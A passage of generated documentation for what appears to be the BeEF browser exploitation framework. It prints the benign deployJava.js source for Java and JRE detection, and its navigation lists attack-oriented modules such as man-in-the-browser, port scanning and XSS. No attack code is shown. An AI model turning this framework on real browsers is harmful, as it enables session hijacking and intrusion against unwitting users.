only be called prior to\r\n         * the web page being completely rendered.  Note that version wildcards\r\n         * (star (*) and plus (+)) are not supported, and including them in the\r\n         * minimumVersion will result in an error message.\r\n         */\r\n        runApplet: function(attributes, parameters, minimumVersion) {\r\n            if (minimumVersion == 'undefined' || minimumVersion == null) {\r\n                minimumVersion = '1.1';\r\n            }\r\n\r\n            var regex = \"^(\\\\d+)(?:\\\\.(\\\\d+)(?:\\\\.(\\\\d+)(?:_(\\\\d+))?)?)?$\";\r\n\r\n            var matchData = minimumVersion.match(regex);\r\n\r\n            if (this.returnPage == null) {\r\n                // if there is an install, come back here and run the applet\r\n                this.returnPage = document.location;\r\n            }\r\n\r\n            if (matchData != null) {\r\n                var browser = this.getBrowser();\r\n                if (browser != '?') {\r\n                    if (this.versionCheck(minimumVersion + '+')) {\r\n                        this.writeAppletTag(attributes, parameters);\r\n                    } else if (this.installJRE(minimumVersion + '+')) {\r\n                        // after successful install we need to refresh page to pick\r\n                        // pick up new plugin\r\n                        this.refresh();\r\n                        location.href = document.location;\r\n                        this.writeAppletTag(attributes, parameters);\r\n                    }\r\n                } else {\r\n                    // for unknown or Safari - just try to show applet\r\n                    this.writeAppletTag(attributes, parameters);\r\n                }\r\n            } else {\r\n                log('[runApplet()] Invalid minimumVersion argument to runApplet():' +\r\n                    minimumVersion);\r\n            }\r\n        },\r\n\r\n\r\n        /**\r\n         * Outputs an applet tag with the specified attributes and parameters, where\r\n         * both attributes and parameters are associative arrays.  Each key/value\r\n         * pair in attributes becomes an attribute of the applet tag itself, while\r\n         * key/value pairs in parameters become &lt;PARAM> tags.  No version checking\r\n         * or other special behaviors are performed; the tag is simply written to\r\n         * the page using document.writeln().\r\n         *\r\n         * As document.writeln() is generally only safe to use while the page is\r\n         * being rendered, you should never call this function after the page\r\n         * has been completed.\r\n         */\r\n        writeAppletTag: function(attributes, parameters) {\r\n            var startApplet = '&lt;' + 'applet ';\r\n            var params = '';\r\n            var endApplet = '&lt;' + '/' + 'applet' + '>';\r\n            var addCodeAttribute = true;\r\n\r\n            if (null == parameters || typeof parameters != 'object') {\r\n                parameters = new Object();\r\n            }\r\n\r\n            for (var attribute in attributes) {\r\n                if (! isValidAppletAttr(attribute)) {\r\n                    parameters[attribute] = attributes[attribute];\r\n                } else {\r\n                    startApplet += (' ' +attribute+ '=\"' +attributes[attribute] + '\"');\r\n                    if (attribute == 'code') {\r\n                        addCodeAttribute = false;\r\n                    }\r\n                }\r\n            }\r\n\r\n            var codebaseParam = false;\r\n            for (var parameter in parameters) {\r\n                if (parameter == 'codebase_lookup') {\r\n                    codebaseParam = true;\r\n                }\r\n                // Originally, parameter 'object' was used for serialized\r\n                // applets, later, to avoid confusion with object tag in IE\r\n                // the 'java_object' was added.  Plugin supports both.\r\n                if (parameter == 'object' || parameter == 'java_object' ||\r\n                    parameter == 'java_code' ) {\r\n                    addCodeAttribute = false;\r\n                }\r\n                params += '&lt;param name=\"' + parameter + '\" value=\"' +\r\n                    parameters[parameter] + '\"/>';\r\n            }\r\n            if (!codebaseParam) {\r\n                params += '&lt;param name=\"codebase_lookup\" value=\"false\"/>';\r\n            }\r\n\r\n            if (addCodeAttribute) {\r\n                startApplet += (' code=\"dummy\"');\r\n            }\r\n            startApplet += '>';\r\n\r\n            document.write(startApplet + '\\n' + params + '\\n' + endApplet);\r\n        },\r\n\r\n\r\n        /**\r\n         * Returns true if there is a matching JRE version currently installed\r\n         * (among those detected by getJREs()).  The versionPattern string is\r\n         * of the form #[.#[.#[_#]]][+|*], which includes strings such as \"1.4\",\r\n         * \"1.5.0*\", and \"1.6.0_02+\".\r\n         * A star (*) means \"any version within this family\" and a plus (+) means\r\n         * \"any version greater or equal to the specified version\".  \"1.5.0*\"\r\n         * matches 1.5.0_06 but not 1.6.0_01, whereas \"1.5.0+\" matches both.\r\n         *\r\n         * If the versionPattern does not include all four version components\r\n         * but does not end with a star or plus, it will be treated as if it\r\n         * ended with a star.  \"1.5\" is exactly equivalent to \"1.5*\", and will\r\n         * match any version number beginning with \"1.5\".\r\n         *\r\n         * If getJREs() is unable to detect the precise version number, a match\r\n         * could be ambiguous.  For example if getJREs() detects \"1.5\", there is\r\n         * no way to know whether the JRE matches \"1.5.0_06+\".  versionCheck()\r\n         * compares only as much of the version information as could be detected,\r\n         * so versionCheck(\"1.5.0_06+\") would return true in in this case.\r\n         *\r\n         * Invalid versionPattern will result in a JavaScript error alert.\r\n         * versionPatterns which are valid but do not match any existing JRE\r\n         * release (e.g. \"32.65+\") will always return false.\r\n         */\r\n        versionCheck: function(versionPattern)\r\n        {\r\n            var index = 0;\r\n            var regex = \"^(\\\\d+)(?:\\\\.(\\\\d+)(?:\\\\.(\\\\d+)(?:_(\\\\d+))?)?)?(\\\\*|\\\\+)?$\";\r\n\r\n            var matchData = versionPattern.match(regex);\r\n\r\n            if (matchData != null) {\r\n                // default is exact version match\r\n                // examples:\r\n                //    local machine has 1.7.0_04 only installed\r\n                //    exact match request is \"1.7.0_05\":  return false\r\n                //    family match request is \"1.7.0*\":   return true\r\n                //    minimum match request is \"1.6+\":    return true\r\n                var familyMatch = false;\r\n                var minMatch = false;\r\n\r\n                var patternArray = new Array();\r\n\r\n                for (var i = 1; i &lt; matchData.length; ++i) {\r\n                    // browser dependency here.\r\n                    // Fx sets 'undefined', IE sets '' string for unmatched groups\r\n                    if ((typeof matchData[i] == 'string') &amp;&amp; (matchData[i] != '')) {\r\n                        patternArray[index] = matchData[i];\r\n                        index++;\r\n                    }\r\n                }\r\n\r\n                if (patternArray[patternArray.length-1] == '+') {\r\n                    // + specified in request - doing a minimum match\r\n                    minMatch = true;\r\n                    familyMatch = false;\r\n                    patternArray.length--;\r\n                } else if (patternArray[patternArray.length-1] == '*') {\r\n                    // * specified in request - doing a family match\r\n                    minMatch = false;\r\n                    familyMatch = true;\r\n                    patternArray.length--;\r\n                } else if (patternArray.length &lt; 4) {\r\n                    // versionPattern does not include all four version components\r\n                    // and does not end with a star or plus, it will be treated as\r\n                    // if it ended with a star. (family match)\r\n                    minMatch = false;\r\n                    familyMatch = true;\r\n                }\r\n\r\n                var list = this.getJREs();\r\n                for (var i = 0; i &lt; list.length; ++i) {\r\n                    if (this.compareVersionToPattern(list[i], patternArray,\r\n                        familyMatch, minMatch)) {\r\n                        return true;\r\n                    }\r\n                }\r\n\r\n                return false;\r\n            } else {\r\n                var msg = 'Invalid versionPattern passed to versionCheck: ' +\r\n                    versionPattern;\r\n                log('[versionCheck()] ' + msg);\r\n                alert(msg);\r\n                return false;\r\n            }\r\n        },\r\n\r\n\r\n        /**\r\n         * Returns true if an installation of Java Web Start of the specified\r\n         * minimumVersion can be detected.  minimumVersion is optional, and\r\n         * if not specified, '1.4.2' will be used.\r\n         * (Versions earlier than 1.4.2 may not be detected.)\r\n         */\r\n        isWebStartInstalled: function(minimumVersion) {\r\n\r\n            var browser = this.getBrowser();\r\n            if (browser == '?') {\r\n                // we really don't know - better to try to use it than reinstall\r\n                return true;\r\n            }\r\n\r\n            if (minimumVersion == 'undefined' || minimumVersion == null) {\r\n                minimumVersion = '1.4.2';\r\n            }\r\n\r\n            var retval = false;\r\n            var regex = \"^(\\\\d+)(?:\\\\.(\\\\d+)(?:\\\\.(\\\\d+)(?:_(\\\\d+))?)?)?$\";\r\n            var matchData = minimumVersion.match(regex);\r\n\r\n            if (matchData != null) {\r\n                retval = this.versionCheck(minimumVersion + '+');\r\n            } else {\r\n                log('[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): ' + minimumVersion);\r\n                retval = this.versionCheck('1.4.2+');\r\n            }\r\n            return retval;\r\n        },\r\n\r\n        // obtain JPI version using navigator.mimeTypes array\r\n        // if found, set the version to this.firefoxJavaVersion\r\n        getJPIVersionUsingMimeType: function() {\r\n            // Walk through the full list of mime types.\r\n            for (var i = 0; i &lt; navigator.mimeTypes.length; ++i) {\r\n                var s = navigator.mimeTypes[i].type;\r\n                // The jpi-version is the plug-in version.  This is the best\r\n                // version to use.\r\n                var m = s.match(/^application\\/x-java-applet;jpi-version=(.*)$/);\r\n                if (m != null) {\r\n                    this.firefoxJavaVersion = m[1];\r\n                    // Opera puts the latest sun JRE last not first\r\n                    if ('Opera' != this.browserName2) {\r\n                        break;\r\n                    }\r\n                }\r\n            }\r\n        },\r\n\r\n        // launch the specified JNLP application using the passed in jnlp file\r\n        // the jnlp file does not need to have a codebase\r\n        // this requires JRE 7 or above to work\r\n        // if machine has no JRE 7 or above, we will try to auto-install and then launch\r\n        // (function will return false if JRE auto-install failed)\r\n        launchWebStartApplication: function(jnlp) {\r\n            var uaString = navigator.userAgent.toLowerCase();\r\n\r\n            this.getJPIVersionUsingMimeType();\r\n\r\n            // make sure we are JRE 7 or above\r\n            if (this.isWebStartInstalled('1.7.0') == false) {\r\n\r\n                // perform latest JRE auto-install\r\n                if ((this.installJRE('1.7.0+') == false) ||\r\n                    ((this.isWebStartInstalled('1.7.0') == false))) {\r\n                    return false;\r\n                }\r\n            }\r\n\r\n            var jnlpDocbase = null;\r\n\r\n            // use document.documentURI for docbase\r\n            if (document.documentURI) {\r\n                jnlpDocbase = document.documentURI;\r\n            }\r\n\r\n            // fallback to document.URL if documentURI not available\r\n            if (jnlpDocbase == null) {\r\n                jnlpDocbase = document.URL;\r\n            }\r\n\r\n            var browser = this.getBrowser();\r\n\r\n            var launchTag;\r\n\r\n            if (browser == 'MSIE') {\r\n\r\n                launchTag = '&lt;' +\r\n                    'object classid=\"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\" ' +\r\n                    'width=\"0\" height=\"0\">' +\r\n                    '&lt;' + 'PARAM name=\"launchjnlp\" value=\"' + jnlp + '\"' + '>' +\r\n                    '&lt;' + 'PARAM name=\"docbase\" value=\"' + jnlpDocbase + '\"' + '>' +\r\n                    '&lt;' + '/' + 'object' + '>';\r\n            } else if (browser == 'Netscape Family') {\r\n\r\n                launchTag = '&lt;' +\r\n                    'embed type=\"application/x-java-applet;jpi-version=' +\r\n                    this.firefoxJavaVersion + '\" ' +\r\n                    'width=\"0\" height=\"0\" ' +\r\n                    'launchjnlp=\"' +  jnlp + '\"' +\r\n                    'docbase=\"' +  jnlpDocbase + '\"' +\r\n                    ' />';\r\n            }\r\n\r\n            if (document.body == 'undefined' || document.body == null) {\r\n                document.write(launchTag);\r\n                // go back to original page, otherwise current page becomes blank\r\n                document.location = jnlpDocbase;\r\n            } else {\r\n                var divTag = document.createElement(\"div\");\r\n                divTag.id = \"div1\";\r\n                divTag.style.position = \"relative\";\r\n                divTag.style.left = \"-10000px\";\r\n                divTag.style.margin = \"0px auto\";\r\n                divTag.className =\"dynamicDiv\";\r\n                divTag.innerHTML = launchTag;\r\n                document.body.appendChild(divTag);\r\n            }\r\n        },\r\n\r\n        createWebStartLaunchButtonEx: function(jnlp, minimumVersion) {\r\n\r\n            if (this.returnPage == null) {\r\n                // if there is an install, come back and run the jnlp file\r\n                this.returnPage = jnlp;\r\n            }\r\n\r\n            var url = 'javascript:deployJava.launchWebStartApplication(\\'' + jnlp +\r\n                '\\');';\r\n\r\n            document.write('&lt;' + 'a href=\"' + url +\r\n                '\" onMouseOver=\"window.status=\\'\\'; ' +\r\n                'return true;\">&lt;' + 'img ' +\r\n                'src=\"' + this.launchButtonPNG + '\" ' +\r\n                'border=\"0\" />&lt;' + '/' + 'a' + '>');\r\n        },\r\n\r\n\r\n        /**\r\n         * Outputs a launch button for the specified JNLP URL.  When clicked, the\r\n         * button will ensure that an appropriate JRE is installed and then launch\r\n         * the JNLP application.  minimumVersion is of the form #[.#[.#[_#]]], and\r\n         * is the minimum JRE version necessary to run this JNLP application.\r\n         * minimumVersion is optional, and if it is not specified, '1.4.2'\r\n         * will be used.\r\n         * If an appropriate JRE or Web Start installation is detected,\r\n         * the JNLP application will be launched, otherwise installLatestJRE()\r\n         * will be called.\r\n         *\r\n         * After installLatestJRE() is called, the script will attempt to detect\r\n         * that the JRE installation has completed and launch the JNLP application,\r\n         * but there are circumstances (such as when the JRE installation\r\n         * requires a browser restart) when this cannot be fulfilled.\r\n         */\r\n        createWebStartLaunchButton: function(jnlp, minimumVersion) {\r\n\r\n            if (this.returnPage == null) {\r\n                // if there is an install, come back and run the jnlp file\r\n                this.returnPage = jnlp;\r\n            }\r\n\r\n            var url = 'javascript:' +\r\n                'if (!deployJava.isWebStartInstalled(&amp;quot;' +\r\n                minimumVersion + '&amp;quot;)) {' +\r\n                'if (deployJava.installLatestJRE()) {' +\r\n                'if (deployJava.launch(&amp;quot;' + jnlp + '&amp;quot;)) {}' +\r\n                '}' +\r\n                '} else {' +\r\n                'if (deployJava.launch(&amp;quot;' + jnlp + '&amp;quot;)) {}' +\r\n                '}';\r\n\r\n            document.write('&lt;' + 'a href=\"' + url +\r\n                '\" onMouseOver=\"window.status=\\'\\'; ' +\r\n                'return true;\">&lt;' + 'img ' +\r\n                'src=\"' + this.launchButtonPNG + '\" ' +\r\n                'border=\"0\" />&lt;' + '/' + 'a' + '>');\r\n        },\r\n\r\n\r\n        /**\r\n         * Launch a JNLP application, (using the plugin if available)\r\n         */\r\n        launch: function(jnlp) {\r\n            /*\r\n             * Using the plugin to launch Java Web Start is disabled for the time being\r\n             */\r\n            document.location=jnlp;\r\n            return true;\r\n        },\r\n\r\n\r\n        /*\r\n         * returns true if the ActiveX or XPI plugin is installed\r\n         */\r\n        isPluginInstalled: function() {\r\n            var plugin = this.getPlugin();\r\n            if (plugin &amp;&amp; plugin.jvms) {\r\n                return true;\r\n            } else {\r\n                return false;\r\n            }\r\n        },\r\n\r\n        /*\r\n         * returns true if the plugin is installed and AutoUpdate is enabled\r\n         */\r\n        isAutoUpdateEnabled: function() {\r\n            if (this.isPluginInstalled()) {\r\n                return this.getPlugin().isAutoUpdateEnabled();\r\n            }\r\n            return false;\r\n        },\r\n\r\n        /*\r\n         * sets AutoUpdate on if plugin is installed\r\n         */\r\n        setAutoUpdateEnabled: function() {\r\n            if (this.isPluginInstalled()) {\r\n                return this.getPlugin().setAutoUpdateEnabled();\r\n            }\r\n            return false;\r\n        },\r\n\r\n        /*\r\n         * sets the preferred install type : null, online, kernel\r\n         */\r\n        setInstallerType: function(type) {\r\n            this.installType = type;\r\n            if (this.isPluginInstalled()) {\r\n                return this.getPlugin().setInstallerType(type);\r\n            }\r\n            return false;\r\n        },\r\n\r\n        /*\r\n         * sets additional package list - to be used by kernel installer\r\n         */\r\n        setAdditionalPackages: function(packageList) {\r\n            if (this.isPluginInstalled()) {\r\n                return this.getPlugin().setAdditionalPackages(\r\n                    packageList);\r\n            }\r\n            return false;\r\n        },\r\n\r\n        /*\r\n         * sets preference to install Early Access versions if available\r\n         */\r\n        setEarlyAccess: function(enabled) {\r\n            this.EAInstallEnabled = enabled;\r\n        },\r\n\r\n        /*\r\n         * Determines if the next generation plugin (Plugin II) is default\r\n         */\r\n        isPlugin2: function() {\r\n            if (this.isPluginInstalled()) {\r\n                if (this.versionCheck('1.6.0_10+')) {\r\n                    try {\r\n                        return this.getPlugin().isPlugin2();\r\n                    } catch (err) {\r\n                        // older plugin w/o isPlugin2() function -\r\n                    }\r\n                }\r\n            }\r\n            return false;\r\n        },\r\n\r\n        //support native DT plugin?\r\n        allowPlugin: function() {\r\n            this.getBrowser();\r\n\r\n            // Safari and Opera browsers find the plugin but it\r\n            // doesn't work, so until we can get it to work - don't use it.\r\n            var ret = ('Safari' != this.browserName2 &amp;&amp;\r\n                'Opera' != this.browserName2);\r\n\r\n            return ret;\r\n        },\r\n\r\n        getPlugin: function() {\r\n            this.refresh();\r\n\r\n            var ret = null;\r\n            if (this.allowPlugin()) {\r\n                ret = document.getElementById('deployJavaPlugin');\r\n            }\r\n            return ret;\r\n        },\r\n\r\n        compareVersionToPattern: function(version, patternArray,\r\n                                          familyMatch, minMatch) {\r\n            if (version == undefined || patternArray == undefined) {\r\n                return false;\r\n            }\r\n            var regex = \"^(\\\\d+)(?:\\\\.(\\\\d+)(?:\\\\.(\\\\d+)(?:_(\\\\d+))?)?)?$\";\r\n            var matchData = version.match(regex);\r\n\r\n            if (matchData != null) {\r\n                var index = 0;\r\n                var result = new Array();\r\n\r\n                for (var i = 1; i &lt; matchData.length; ++i) {\r\n                    if ((typeof matchData[i] == 'string') &amp;&amp; (matchData[i] != ''))\r\n                    {\r\n                        result[index] = matchData[i];\r\n                        index++;\r\n                    }\r\n                }\r\n\r\n                var l = Math.min(result.length, patternArray.length);\r\n\r\n                // result contains what is installed in local machine\r\n                // patternArray is what is being requested by application\r\n                if (minMatch) {\r\n                    // minimum version match, return true if what we have (installed)\r\n                    // is greater or equal to what is requested.  false otherwise.\r\n                    for (var i = 0; i &lt; l; ++i) {\r\n                        if (result[i] &lt; patternArray[i]) {\r\n                            return false;\r\n                        } else if (result[i] > patternArray[i]) {\r\n                            return true;\r\n                        }\r\n                    }\r\n                    return true;\r\n                } else {\r\n                    for (var i = 0; i &lt; l; ++i) {\r\n                        if (result[i] != patternArray[i]) return false;\r\n                    }\r\n                    if (familyMatch) {\r\n                        // family match - return true as long as what we have\r\n                        // (installed) matches up to the request pattern\r\n                        return true;\r\n                    } else {\r\n                        // exact match\r\n                        // result and patternArray needs to have exact same content\r\n                        return (result.length == patternArray.length);\r\n                    }\r\n                }\r\n            } else {\r\n                return false;\r\n            }\r\n        },\r\n\r\n        getBrowser: function() {\r\n\r\n            if (this.browserName == null) {\r\n                var browser = navigator.userAgent.toLowerCase();\r\n\r\n                log('[getBrowser()] navigator.userAgent.toLowerCase() -> ' + browser);\r\n\r\n\r\n                // order is important here.  Safari userAgent contains mozilla,\r\n                // and Chrome userAgent contains both mozilla and safari.\r\n                if ((browser.indexOf('msie') != -1) &amp;&amp; (browser.indexOf('opera') == -1)) {\r\n                    this.browserName = 'MSIE';\r\n                    this.browserName2 = 'MSIE';\r\n                } else if (browser.indexOf('iphone') != -1) {\r\n                    // this included both iPhone and iPad\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'iPhone';\r\n                } else if ((browser.indexOf('firefox') != -1) &amp;&amp; (browser.indexOf('opera') == -1)) {\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'Firefox';\r\n                } else if (browser.indexOf('chrome') != -1) {\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'Chrome';\r\n                } else if (browser.indexOf('safari') != -1) {\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'Safari';\r\n                } else if ((browser.indexOf('mozilla') != -1) &amp;&amp; (browser.indexOf('opera') == -1)) {\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'Other';\r\n                } else if (browser.indexOf('opera') != -1) {\r\n                    this.browserName = 'Netscape Family';\r\n                    this.browserName2 = 'Opera';\r\n                } else {\r\n                    this.browserName = '?';\r\n                    this.browserName2 = 'unknown';\r\n                }\r\n\r\n                log('[getBrowser()] Detected browser name:'+ this.browserName +\r\n                    ', ' + this.browserName2);\r\n            }\r\n            return this.browserName;\r\n        },\r\n\r\n\r\n        testUsingActiveX: function(version) {\r\n            var objectName = 'JavaWebStart.isInstalled.' + version + '.0';\r\n\r\n            // we need the typeof check here for this to run on FF/Chrome\r\n            // the check needs to be in place here - cannot even pass ActiveXObject\r\n            // as arg to another function\r\n            if (typeof ActiveXObject == 'undefined' || !ActiveXObject) {\r\n                log('[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?');\r\n                return false;\r\n            }\r\n\r\n            try {\r\n                return (new ActiveXObject(objectName) != null);\r\n            } catch (exception) {\r\n                return false;\r\n            }\r\n        },\r\n\r\n\r\n        testForMSVM: function() {\r\n            var clsid = '{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';\r\n\r\n            if (typeof oClientCaps != 'undefined') {\r\n                var v = oClientCaps.getComponentVersion(clsid, \"ComponentID\");\r\n                if ((v == '') || (v == '5,0,5000,0')) {\r\n                    return false;\r\n                } else {\r\n                    return true;\r\n                }\r\n            } else {\r\n                return false;\r\n            }\r\n        },\r\n\r\n\r\n        testUsingMimeTypes: function(version) {\r\n            if (!navigator.mimeTypes) {\r\n                log ('[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?');\r\n                return false;\r\n            }\r\n\r\n            for (var i = 0; i &lt; navigator.mimeTypes.length; ++i) {\r\n                s = navigator.mimeTypes[i].type;\r\n                var m = s.match(/^application\\/x-java-applet\\x3Bversion=(1\\.8|1\\.7|1\\.6|1\\.5|1\\.4\\.2)$/);\r\n                if (m != null) {\r\n                    if (this.compareVersions(m[1], version)) {\r\n                        return true;\r\n                    }\r\n                }\r\n            }\r\n            return false;\r\n        },\r\n\r\n        testUsingPluginsArray: function(version) {\r\n            if ((!navigator.plugins) || (!navigator.plugins.length)) {\r\n                return false;\r\n            }\r\n            var platform = navigator.platform.toLowerCase();\r\n\r\n            for (var i = 0; i &lt; navigator.plugins.length; ++i) {\r\n                s = navigator.plugins[i].description;\r\n                if (s.search(/^Java Switchable Plug-in (Cocoa)/) != -1) {\r\n                    // Safari on MAC\r\n                    if (this.compareVersions(\"1.5.0\", version)) {\r\n                        return true;\r\n                    }\r\n                } else if (s.search(/^Java/) != -1) {\r\n                    if (platform.indexOf('win') != -1) {\r\n                        // still can't tell - opera, safari on windows\r\n                        // return true for 1.5.0 and 1.6.0\r\n                        if (this.compareVersions(\"1.5.0\", version) ||\r\n                            this.compareVersions(\"1.6.0\", version)) {\r\n                            return true;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n            // if above dosn't work on Apple or Windows, just allow 1.5.0\r\n            if (this.compareVersions(\"1.5.0\", version)) {\r\n                return true;\r\n            }\r\n            return false;\r\n\r\n\r\n\r\n        },\r\n\r\n        IEInstall: function() {\r\n\r\n            location.href = constructGetJavaURL(\r\n                ((this.returnPage != null) ?\r\n                    ('&amp;returnPage=' + this.returnPage) : '') +\r\n                    ((this.locale != null) ?\r\n                        ('&amp;locale=' + this.locale) : '') +\r\n                    ((this.brand != null) ? ('&amp;brand=' + this.brand) : ''));\r\n\r\n            // should not actually get here\r\n            return false;\r\n        },\r\n\r\n        done: function (name, result) {\r\n        },\r\n\r\n        FFInstall: function() {\r\n\r\n            location.href = constructGetJavaURL(\r\n                ((this.returnPage != null) ?\r\n                    ('&amp;returnPage=' + this.returnPage) : '') +\r\n                    ((this.locale != null) ?\r\n                        ('&amp;locale=' + this.locale) : '') +\r\n                    ((this.brand != null) ? ('&amp;brand=' + this.brand) : '') +\r\n                    ((this.installType != null) ?\r\n                        ('&amp;type=' + this.installType) : ''));\r\n\r\n            // should not actually get here\r\n            return false;\r\n        },\r\n\r\n        // return true if 'installed' (considered as a JRE version string) is\r\n        // greater than or equal to 'required' (again, a JRE version string).\r\n        compareVersions: function(installed, required) {\r\n\r\n            var a = installed.split('.');\r\n            var b = required.split('.');\r\n\r\n            for (var i = 0; i &lt; a.length; ++i) {\r\n                a[i] = Number(a[i]);\r\n            }\r\n            for (var i = 0; i &lt; b.length; ++i) {\r\n                b[i] = Number(b[i]);\r\n            }\r\n            if (a.length == 2) {\r\n                a[2] = 0;\r\n            }\r\n\r\n            if (a[0] > b[0]) return true;\r\n            if (a[0] &lt; b[0]) return false;\r\n\r\n            if (a[1] > b[1]) return true;\r\n            if (a[1] &lt; b[1]) return false;\r\n\r\n            if (a[2] > b[2]) return true;\r\n            if (a[2] &lt; b[2]) return false;\r\n\r\n            return true;\r\n        },\r\n\r\n        enableAlerts: function() {\r\n            // reset this so we can show the browser detection\r\n            this.browserName = null;\r\n            this.debug = true;\r\n        },\r\n\r\n        poll: function() {\r\n\r\n            this.refresh();\r\n            var postInstallJREList = this.getJREs();\r\n\r\n            if ((this.preInstallJREList.length == 0) &amp;&amp;\r\n                (postInstallJREList.length != 0)) {\r\n                clearInterval(this.myInterval);\r\n                if (this.returnPage != null) {\r\n                    location.href = this.returnPage;\r\n                };\r\n            }\r\n\r\n            if ((this.preInstallJREList.length != 0) &amp;&amp;\r\n                (postInstallJREList.length != 0) &amp;&amp;\r\n                (this.preInstallJREList[0] != postInstallJREList[0])) {\r\n                clearInterval(this.myInterval);\r\n                if (this.returnPage != null) {\r\n                    location.href = this.returnPage;\r\n                }\r\n            }\r\n\r\n        },\r\n\r\n        writePluginTag: function() {\r\n            var browser = this.getBrowser();\r\n\r\n            if (browser == 'MSIE') {\r\n                document.write('&lt;' +\r\n                    'object classid=\"clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA\" ' +\r\n                    'id=\"deployJavaPlugin\" width=\"0\" height=\"0\">' +\r\n                    '&lt;' + '/' + 'object' + '>');\r\n            } else if (browser == 'Netscape Family' &amp;&amp; this.allowPlugin()) {\r\n                this.writeEmbedTag();\r\n            }\r\n        },\r\n\r\n        refresh: function() {\r\n            navigator.plugins.refresh(false);\r\n\r\n            var browser = this.getBrowser();\r\n            if (browser == 'Netscape Family' &amp;&amp; this.allowPlugin()) {\r\n                var plugin = document.getElementById('deployJavaPlugin');\r\n                // only do this again if no plugin\r\n                if (plugin == null) {\r\n                    this.writeEmbedTag();\r\n                }\r\n            }\r\n        },\r\n\r\n        writeEmbedTag: function() {\r\n            var written = false;\r\n            if (navigator.mimeTypes != null) {\r\n                for (var i=0; i &lt; navigator.mimeTypes.length; i++) {\r\n                    if (navigator.mimeTypes[i].type == this.mimeType) {\r\n                        if (navigator.mimeTypes[i].enabledPlugin) {\r\n                            document.write('&lt;' +\r\n                                'embed id=\"deployJavaPlugin\" type=\"' +\r\n                                this.mimeType + '\" hidden=\"true\" />');\r\n                            written = true;\r\n                        }\r\n                    }\r\n                }\r\n                // if we ddn't find new mimeType, look for old mimeType\r\n                if (!written) for (var i=0; i &lt; navigator.mimeTypes.length; i++) {\r\n                    if (navigator.mimeTypes[i].type == this.oldMimeType) {\r\n                        if (navigator.mimeTypes[i].enabledPlugin) {\r\n                            document.write('&lt;' +\r\n                                'embed id=\"deployJavaPlugin\" type=\"' +\r\n                                this.oldMimeType + '\" hidden=\"true\" />');\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }; // deployJava object\r\n\r\n    rv.writePluginTag();\r\n    if (rv.locale == null) {\r\n        var loc = null;\r\n\r\n        if (loc == null) try {\r\n            loc = navigator.userLanguage;\r\n        } catch (err) { }\r\n\r\n        if (loc == null) try {\r\n            loc = navigator.systemLanguage;\r\n        } catch (err) { }\r\n\r\n        if (loc == null) try {\r\n            loc = navigator.language;\r\n        } catch (err) { }\r\n\r\n        if (loc != null) {\r\n            loc.replace(\"-\",\"_\")\r\n            rv.locale = loc;\r\n        }\r\n    }\r\n\r\n    return rv;\r\n}();\r\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"browser_jools.html\">browser_jools</a></li><li><a href=\"platform.html\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/lib_platform.js.html",
